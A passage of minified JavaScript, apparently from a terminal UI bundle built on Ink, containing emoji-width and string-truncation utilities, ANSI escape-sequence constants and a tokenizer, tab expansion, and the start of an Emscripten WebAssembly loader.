D83C[\uDFFB-\uDFFF]|\uFE0F)?(?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDCCF\uDD8E\uDD91-\uDD9A\uDE01\uDE1A\uDE2F\uDE32-\uDE36\uDE38-\uDE3A\uDE50\uDE51\uDF00-\uDF20\uDF2D-\uDF35\uDF37-\uDF43\uDF45-\uDF4A\uDF4C-\uDF7C\uDF7E-\uDF84\uDF86-\uDF93\uDFA0-\uDFC1\uDFC5\uDFC6\uDFC8\uDFC9\uDFCF-\uDFD3\uDFE0-\uDFF0\uDFF8-\uDFFF]|\uDDE6\uD83C[\uDDE8-\uDDEC\uDDEE\uDDF1\uDDF2\uDDF4\uDDF6-\uDDFA\uDDFC\uDDFD\uDDFF]|\uDDE7\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEF\uDDF1-\uDDF4\uDDF6-\uDDF9\uDDFB\uDDFC\uDDFE\uDDFF]|\uDDE8\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDEE\uDDF0-\uDDF7\uDDFA-\uDDFF]|\uDDE9\uD83C[\uDDEA\uDDEC\uDDEF\uDDF0\uDDF2\uDDF4\uDDFF]|\uDDEA\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDED\uDDF7-\uDDFA]|\uDDEB\uD83C[\uDDEE-\uDDF0\uDDF2\uDDF4\uDDF7]|\uDDEC\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEE\uDDF1-\uDDF3\uDDF5-\uDDFA\uDDFC\uDDFE]|\uDDED\uD83C[\uDDF0\uDDF2\uDDF3\uDDF7\uDDF9\uDDFA]|\uDDEE\uD83C[\uDDE8-\uDDEA\uDDF1-\uDDF4\uDDF6-\uDDF9]|\uDDEF\uD83C[\uDDEA\uDDF2\uDDF4\uDDF5]|\uDDF0\uD83C[\uDDEA\uDDEC-\uDDEE\uDDF2\uDDF3\uDDF5\uDDF7\uDDFC\uDDFE\uDDFF]|\uDDF1\uD83C[\uDDE6-\uDDE8\uDDEE\uDDF0\uDDF7-\uDDFB\uDDFE]|\uDDF2\uD83C[\uDDE6\uDDE8-\uDDED\uDDF0-\uDDFF]|\uDDF3\uD83C[\uDDE6\uDDE8\uDDEA-\uDDEC\uDDEE\uDDF1\uDDF4\uDDF5\uDDF7\uDDFA\uDDFF]|\uDDF4\uD83C\uDDF2|\uDDF5\uD83C[\uDDE6\uDDEA-\uDDED\uDDF0-\uDDF3\uDDF7-\uDDF9\uDDFC\uDDFE]|\uDDF6\uD83C\uDDE6|\uDDF7\uD83C[\uDDEA\uDDF4\uDDF8\uDDFA\uDDFC]|\uDDF8\uD83C[\uDDE6-\uDDEA\uDDEC-\uDDF4\uDDF7-\uDDF9\uDDFB\uDDFD-\uDDFF]|\uDDF9\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDED\uDDEF-\uDDF4\uDDF7\uDDF9\uDDFB\uDDFC\uDDFF]|\uDDFA\uD83C[\uDDE6\uDDEC\uDDF2\uDDF3\uDDF8\uDDFE\uDDFF]|\uDDFB\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDEE\uDDF3\uDDFA]|\uDDFC\uD83C[\uDDEB\uDDF8]|\uDDFD\uD83C\uDDF0|\uDDFE\uD83C[\uDDEA\uDDF9]|\uDDFF\uD83C[\uDDE6\uDDF2\uDDFC]|\uDF44(?:\u200D\uD83D\uDFEB)?|\uDF4B(?:\u200D\uD83D\uDFE9)?|\uDFC3(?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D(?:[\u2640\u2642]\uFE0F?(?:\u200D\u27A1\uFE0F?)?|\u27A1\uFE0F?))?|\uDFF3\uFE0F?(?:\u200D(?:\u26A7\uFE0F?|\uD83C\uDF08))?|\uDFF4(?:\u200D\u2620\uFE0F?|\uDB40\uDC67\uDB40\uDC62\uDB40(?:\uDC65\uDB40\uDC6E\uDB40\uDC67|\uDC73\uDB40\uDC63\uDB40\uDC74|\uDC77\uDB40\uDC6C\uDB40\uDC73)\uDB40\uDC7F)?)|\uD83D(?:[\uDC3F\uDCFD\uDD49\uDD4A\uDD6F\uDD70\uDD73\uDD76-\uDD79\uDD87\uDD8A-\uDD8D\uDDA5\uDDA8\uDDB1\uDDB2\uDDBC\uDDC2-\uDDC4\uDDD1-\uDDD3\uDDDC-\uDDDE\uDDE1\uDDE3\uDDE8\uDDEF\uDDF3\uDDFA\uDECB\uDECD-\uDECF\uDEE0-\uDEE5\uDEE9\uDEF0\uDEF3]\uFE0F?|[\uDC42\uDC43\uDC46-\uDC50\uDC66\uDC67\uDC6B-\uDC6D\uDC72\uDC74-\uDC76\uDC78\uDC7C\uDC83\uDC85\uDC8F\uDC91\uDCAA\uDD7A\uDD95\uDD96\uDE4C\uDE4F\uDEC0\uDECC](?:\uD83C[\uDFFB-\uDFFF])?|[\uDC6E\uDC70\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4\uDEB5](?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDD74\uDD90](?:\uD83C[\uDFFB-\uDFFF]|\uFE0F)?|[\uDC00-\uDC07\uDC09-\uDC14\uDC16-\uDC25\uDC27-\uDC3A\uDC3C-\uDC3E\uDC40\uDC44\uDC45\uDC51-\uDC65\uDC6A\uDC79-\uDC7B\uDC7D-\uDC80\uDC84\uDC88-\uDC8E\uDC90\uDC92-\uDCA9\uDCAB-\uDCFC\uDCFF-\uDD3D\uDD4B-\uDD4E\uDD50-\uDD67\uDDA4\uDDFB-\uDE2D\uDE2F-\uDE34\uDE37-\uDE41\uDE43\uDE44\uDE48-\uDE4A\uDE80-\uDEA2\uDEA4-\uDEB3\uDEB7-\uDEBF\uDEC1-\uDEC5\uDED0-\uDED2\uDED5-\uDED7\uDEDC-\uDEDF\uDEEB\uDEEC\uDEF4-\uDEFC\uDFE0-\uDFEB\uDFF0]|\uDC08(?:\u200D\u2B1B)?|\uDC15(?:\u200D\uD83E\uDDBA)?|\uDC26(?:\u200D(?:\u2B1B|\uD83D\uDD25))?|\uDC3B(?:\u200D\u2744\uFE0F?)?|\uDC41\uFE0F?(?:\u200D\uD83D\uDDE8\uFE0F?)?|\uDC68(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D(?:[\uDC68\uDC69]\u200D\uD83D(?:\uDC66(?:\u200D\uD83D\uDC66)?|\uDC67(?:\u200D\uD83D[\uDC66\uDC67])?)|[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uDC66(?:\u200D\uD83D\uDC66)?|\uDC67(?:\u200D\uD83D[\uDC66\uDC67])?)|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]))|\uD83C(?:\uDFFB(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFC-\uDFFF])))?|\uDFFC(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFB\uDFFD-\uDFFF])))?|\uDFFD(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])))?|\uDFFE(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFB-\uDFFD\uDFFF])))?|\uDFFF(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFB-\uDFFE])))?))?|\uDC69(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?[\uDC68\uDC69]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D(?:[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uDC66(?:\u200D\uD83D\uDC66)?|\uDC67(?:\u200D\uD83D[\uDC66\uDC67])?|\uDC69\u200D\uD83D(?:\uDC66(?:\u200D\uD83D\uDC66)?|\uDC67(?:\u200D\uD83D[\uDC66\uDC67])?))|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]))|\uD83C(?:\uDFFB(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFC-\uDFFF])))?|\uDFFC(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFB\uDFFD-\uDFFF])))?|\uDFFD(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])))?|\uDFFE(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFB-\uDFFD\uDFFF])))?|\uDFFF(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFB-\uDFFE])))?))?|\uDC6F(?:\u200D[\u2640\u2642]\uFE0F?)?|\uDD75(?:\uD83C[\uDFFB-\uDFFF]|\uFE0F)?(?:\u200D[\u2640\u2642]\uFE0F?)?|\uDE2E(?:\u200D\uD83D\uDCA8)?|\uDE35(?:\u200D\uD83D\uDCAB)?|\uDE36(?:\u200D\uD83C\uDF2B\uFE0F?)?|\uDE42(?:\u200D[\u2194\u2195]\uFE0F?)?|\uDEB6(?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D(?:[\u2640\u2642]\uFE0F?(?:\u200D\u27A1\uFE0F?)?|\u27A1\uFE0F?))?)|\uD83E(?:[\uDD0C\uDD0F\uDD18-\uDD1F\uDD30-\uDD34\uDD36\uDD77\uDDB5\uDDB6\uDDBB\uDDD2\uDDD3\uDDD5\uDEC3-\uDEC5\uDEF0\uDEF2-\uDEF8](?:\uD83C[\uDFFB-\uDFFF])?|[\uDD26\uDD35\uDD37-\uDD39\uDD3D\uDD3E\uDDB8\uDDB9\uDDCD\uDDCF\uDDD4\uDDD6-\uDDDD](?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDDDE\uDDDF](?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDD0D\uDD0E\uDD10-\uDD17\uDD20-\uDD25\uDD27-\uDD2F\uDD3A\uDD3F-\uDD45\uDD47-\uDD76\uDD78-\uDDB4\uDDB7\uDDBA\uDDBC-\uDDCC\uDDD0\uDDE0-\uDDFF\uDE70-\uDE7C\uDE80-\uDE89\uDE8F-\uDEC2\uDEC6\uDECE-\uDEDC\uDEDF-\uDEE9]|\uDD3C(?:\u200D[\u2640\u2642]\uFE0F?|\uD83C[\uDFFB-\uDFFF])?|\uDDCE(?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D(?:[\u2640\u2642]\uFE0F?(?:\u200D\u27A1\uFE0F?)?|\u27A1\uFE0F?))?|\uDDD1(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83E\uDDD1|\uDDD1\u200D\uD83E\uDDD2(?:\u200D\uD83E\uDDD2)?|\uDDD2(?:\u200D\uD83E\uDDD2)?))|\uD83C(?:\uDFFB(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFC-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?|\uDFFC(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFB\uDFFD-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?|\uDFFD(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?|\uDFFE(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFB-\uDFFD\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?|\uDFFF(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFB-\uDFFE]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?))?|\uDEF1(?:\uD83C(?:\uDFFB(?:\u200D\uD83E\uDEF2\uD83C[\uDFFC-\uDFFF])?|\uDFFC(?:\u200D\uD83E\uDEF2\uD83C[\uDFFB\uDFFD-\uDFFF])?|\uDFFD(?:\u200D\uD83E\uDEF2\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])?|\uDFFE(?:\u200D\uD83E\uDEF2\uD83C[\uDFFB-\uDFFD\uDFFF])?|\uDFFF(?:\u200D\uD83E\uDEF2\uD83C[\uDFFB-\uDFFE])?))?)/g}});function ZXA(A,K={}){if(typeof A!=="string"||A.length===0)return 0;let{ambiguousIsNarrow:q=!0,countAnsiEscapeCodes:Y=!1}=K;if(!Y)A=AH(A);if(A.length===0)return 0;let z=0,w={ambiguousAsWide:!q};for(let{segment:H}of Ds3.segment(A)){let J=H.codePointAt(0);if(J<=31||J>=127&&J<=159)continue;if(J>=8203&&J<=8207||J===65279)continue;if(J>=768&&J<=879||J>=6832&&J<=6911||J>=7616&&J<=7679||J>=8400&&J<=8447||J>=65056&&J<=65071)continue;if(J>=55296&&J<=57343)continue;if(J>=65024&&J<=65039)continue;if(js3.test(H))continue;if(_O4.default().test(H)){z+=2;continue}z+=H4A(J,w)}return z}var _O4,Ds3,js3;var GO4=k(()=>{bk();LyA();_O4=o($O4(),1),Ds3=new Intl.Segmenter,js3=/^\p{Default_Ignorable_Code_Point}$/u});function X51(A,K,q){if(A.charAt(K)===" ")return K;let Y=q?1:-1;for(let z=0;z<=3;z++){let w=K+z*Y;if(A.charAt(w)===" ")return w}return K}function p76(A,K,q={}){let{position:Y="end",space:z=!1,preferTruncationOnSpace:w=!1}=q,{truncationCharacter:H="…"}=q;if(typeof A!=="string")throw TypeError(`Expected \`input\` to be a string, got ${typeof A}`);if(typeof K!=="number")throw TypeError(`Expected \`columns\` to be a number, got ${typeof K}`);if(K<1)return"";if(K===1)return H;let J=ZXA(A);if(J<=K)return A;if(Y==="start"){if(w){let O=X51(A,J-K+1,!0);return H+Rx(A,O,J).trim()}if(z===!0)H+=" ";return H+Rx(A,J-K+ZXA(H),J)}if(Y==="middle"){if(z===!0)H=` ${H} `;let O=Math.floor(K/2);if(w){let X=X51(A,O),$=X51(A,J-(K-O)+1,!0);return Rx(A,0,X)+H+Rx(A,$,J).trim()}return Rx(A,0,O)+H+Rx(A,J-(K-O)+ZXA(H),J)}if(Y==="end"){if(w){let O=X51(A,K-1);return Rx(A,0,O)+H}if(z===!0)H=` ${H}`;return Rx(A,0,K-ZXA(H))+H}throw Error(`Expected \`options.position\` to be either \`start\`, \`middle\` or \`end\`, got ${Y}`)}var ZO4=k(()=>{OO4();GO4()});var WO4,Ms3=(A,K,q)=>{let Y=A+String(K)+String(q),z=WO4[Y];if(z)return z;let w=A;if(q==="wrap")w=zr(A,K,{trim:!1,hard:!0});else if(q==="wrap-trim")w=zr(A,K,{trim:!0,hard:!0});if(q.startsWith("truncate")){let H="end";if(q==="truncate-middle")H="middle";if(q==="truncate-start")H="start";w=p76(A,K,{position:H})}return WO4[Y]=w,w},ky;var $51=k(()=>{J51();ZO4();WO4={},ky=Ms3});function _51(A,K={},q){let Y=[],z=A.textStyles?{...K,...A.textStyles}:K;for(let w of A.childNodes){if(w===void 0)continue;if(w.nodeName==="#text"){if(w.nodeValue.length>0)Y.push({text:w.nodeValue,styles:z,hyperlink:q})}else if(w.nodeName==="ink-text"||w.nodeName==="ink-virtual-text")Y.push(..._51(w,z,q));else if(w.nodeName==="ink-link"){let H=w.attributes.href;Y.push(..._51(w,z,H||q))}}return Y}function d76(A){let K="";for(let q of A.childNodes){if(q===void 0)continue;if(q.nodeName==="#text")K+=q.nodeValue;else if(q.nodeName==="ink-text"||q.nodeName==="ink-virtual-text")K+=d76(q);else if(q.nodeName==="ink-link")K+=d76(q)}return K}var DO4;var c76=k(()=>{DO4=d76});function l76(A){return A>=48&&A<=126}var yx,wr="\x1B",Hr="\x07",Jr=";",Cy;var O4A=k(()=>{yx={NUL:0,SOH:1,STX:2,ETX:3,EOT:4,ENQ:5,ACK:6,BEL:7,BS:8,HT:9,LF:10,VT:11,FF:12,CR:13,SO:14,SI:15,DLE:16,DC1:17,DC2:18,DC3:19,DC4:20,NAK:21,SYN:22,ETB:23,CAN:24,EM:25,SUB:26,ESC:27,FS:28,GS:29,RS:30,US:31,DEL:127},Cy={CSI:91,OSC:93,DCS:80,APC:95,PM:94,SOS:88,ST:92}});function jO4(A){return A>=WXA.PARAM_START&&A<=WXA.PARAM_END}function G51(A){return A>=WXA.INTERMEDIATE_START&&A<=WXA.INTERMEDIATE_END}function MO4(A){return A>=WXA.FINAL_START&&A<=WXA.FINAL_END}function oO(...A){if(A.length===0)return i76;if(A.length===1)return`${i76}${A[0]}`;let K=A.slice(0,-1),q=A[A.length-1];return`${i76}${K.join(Jr)}${q}`}function fO4(A=1){return A===0?"":oO(A,"A")}function Ps3(A=1){return A===0?"":oO(A,"B")}function Vs3(A=1){return A===0?"":oO(A,"C")}function fs3(A=1){return A===0?"":oO(A,"D")}function NO4(A,K){let q="";if(A<0)q+=fs3(-A);else if(A>0)q+=Vs3(A);if(K<0)q+=fO4(-K);else if(K>0)q+=Ps3(K);return q}function TO4(A){if(A<=0)return"";let K="";for(let q=0;q<A;q++)if(K+=Ts3,q<A-1)K+=fO4(1);return K+=Ns3,K}var i76,WXA,NJ,PO4,VO4,n76,Ns3,r76,hqw,bqw,Ts3,Z51,o76,vO4,EO4,kO4,CO4,LO4,DXA;var Ix=k(()=>{O4A();i76=wr+String.fromCharCode(Cy.CSI),WXA={PARAM_START:48,PARAM_END:63,INTERMEDIATE_START:32,INTERMEDIATE_END:47,FINAL_START:64,FINAL_END:126};NJ={CUU:65,CUD:66,CUF:67,CUB:68,CNL:69,CPL:70,CHA:71,CUP:72,CHT:73,VPA:100,HVP:102,ED:74,EL:75,ECH:88,IL:76,DL:77,ICH:64,DCH:80,SU:83,SD:84,SM:104,RM:108,SGR:109,DSR:110,DECSCUSR:113,DECSTBM:114,SCOSC:115,SCORC:117,CBT:90},PO4=["toEnd","toStart","all","scrollback"],VO4=["toEnd","toStart","all"],n76=[{style:"block",blinking:!0},{style:"block",blinking:!0},{style:"block",blinking:!1},{style:"underline",blinking:!0},{style:"underline",blinking:!1},{style:"bar",blinking:!0},{style:"bar",blinking:!1}];Ns3=oO("G"),r76=oO("H");hqw=oO("s"),bqw=oO("u"),Ts3=oO(2,"K"),Z51=oO(2,"J"),o76=oO(3,"J");vO4=oO("200~"),EO4=oO("201~"),kO4=oO("I"),CO4=oO("O"),LO4=oO(">1u"),DXA=oO("<u")});function jXA(){let A="ground",K="";return{feed(q){let Y=RO4(q,A,K,!1);return A=Y.state.state,K=Y.state.buffer,Y.tokens},flush(){let q=RO4("",A,K,!0);return A=q.state.state,K=q.state.buffer,q.tokens},reset(){A="ground",K=""},buffer(){return K}}}function RO4(A,K,q,Y){let z=[],w={state:K,buffer:""},H=q+A,J=0,O=0,X=0,$=()=>{if(J>O){let G=H.slice(O,J);if(G)z.push({type:"text",value:G})}O=J},_=(G)=>{if(G)z.push({type:"sequence",value:G});w.state="ground",O=J};while(J<H.length){let G=H.charCodeAt(J);switch(w.state){case"ground":if(G===yx.ESC)$(),X=J,w.state="escape",J++;else J++;break;case"escape":if(G===Cy.CSI)w.state="csi",J++;else if(G===Cy.OSC)w.state="osc",J++;else if(G===Cy.DCS)w.state="dcs",J++;else if(G===Cy.APC)w.state="apc",J++;else if(G===79)w.state="ss3",J++;else if(G51(G))w.state="escapeIntermediate",J++;else if(l76(G))J++,_(H.slice(X,J));else if(G===yx.ESC)_(H.slice(X,J)),X=J,w.state="escape",J++;else w.state="ground",O=X;break;case"escapeIntermediate":if(G51(G))J++;else if(l76(G))J++,_(H.slice(X,J));else w.state="ground",O=X;break;case"csi":if(MO4(G))J++,_(H.slice(X,J));else if(jO4(G)||G51(G))J++;else w.state="ground",O=X;break;case"ss3":if(G>=64&&G<=126)J++,_(H.slice(X,J));else w.state="ground",O=X;break;case"osc":if(G===yx.BEL)J++,_(H.slice(X,J));else if(G===yx.ESC&&J+1<H.length&&H.charCodeAt(J+1)===Cy.ST)J+=2,_(H.slice(X,J));else J++;break;case"dcs":case"apc":if(G===yx.BEL)J++,_(H.slice(X,J));else if(G===yx.ESC&&J+1<H.length&&H.charCodeAt(J+1)===Cy.ST)J+=2,_(H.slice(X,J));else J++;break}}if(w.state==="ground")$();else if(Y){let G=H.slice(X);if(G)z.push({type:"sequence",value:G});w.state="ground"}else w.buffer=H.slice(X);return{tokens:z,state:w}}var W51=k(()=>{O4A();Ix()});function yO4(A,K=vs3){if(!A.includes("\t"))return A;let q=jXA(),Y=q.feed(A);Y.push(...q.flush());let z="",w=0;for(let H of Y)if(H.type==="sequence")z+=H.value;else{let J=H.value.split(/(\t|\n)/);for(let O of J)if(O==="\t"){let X=K-w%K;z+=" ".repeat(X),w+=X}else if(O===` `)z+=O,w=0;else z+=O,w+=j7(O)}return z}var vs3=8;var IO4=k(()=>{XG();W51()});var Or,Xr;var a76=k(()=>{Or=new WeakMap,Xr=new WeakMap});var Es3,SO4;var hO4=k(()=>{Es3=(()=>{var A=import.meta.url;return function(K){K=K||{};var q;q||(q=typeof K<"u"?K:{});var Y,z;q.ready=new Promise(function(NA,ZA){Y=NA,z=ZA});var w=Object.assign({},q),H="";typeof document<"u"&&document.currentScript&&(H=document.currentScript.src),A&&(H=A),H.indexOf("blob:")!==0?H=H.substr(0,H.replace(/[?#].*/,"").lastIndexOf("/")+1):H="";var J=q.print||console.log.bind(console),O=q.printErr||console.warn.bind(console);Object.assign(q,w),w=null;var X;q.wasmBinary&&(X=q.wasmBinary);var $=q.noExitRuntime||!0;typeof WebAssembly!="object"&&r("no native wasm support detected");var _,G=!1;function 